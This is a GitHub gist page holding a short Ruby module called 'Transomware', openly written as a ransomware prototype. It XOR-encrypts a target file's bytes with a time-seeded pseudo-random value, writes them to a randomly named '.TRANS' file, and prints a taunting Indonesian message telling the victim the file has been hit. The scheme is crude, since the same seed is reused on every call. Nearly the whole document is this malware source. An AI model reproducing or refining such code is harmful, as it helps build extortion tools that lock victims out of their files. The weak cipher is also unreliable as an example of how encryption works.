Created
December 18, 2016 13:36
-
-
Save suryadana/4a94101bdf93a53f02f11d19889bce8b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "securerandom" | |
module Transomware | |
@time = Time.now.to_i * 0xff | |
def Transomware.random | |
r = Random.new(@time) | |
r.seed | |
return r.rand(31337) | |
end | |
def Transomware.encrypt(file) | |
File.open(file, 'rb') do |f| | |
File.open("#{SecureRandom.hex(3)}.TRANS", 'wb') do |o| | |
o.write( | |
f.read.bytes.collect do |byte| | |
byte & 255 ^ Transomware.random | |
end.pack("C*") | |
) | |
end | |
end | |
puts "="*50 | |
puts "HAHAHAHA, file #{file} kena Transomware!" | |
end | |
end | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment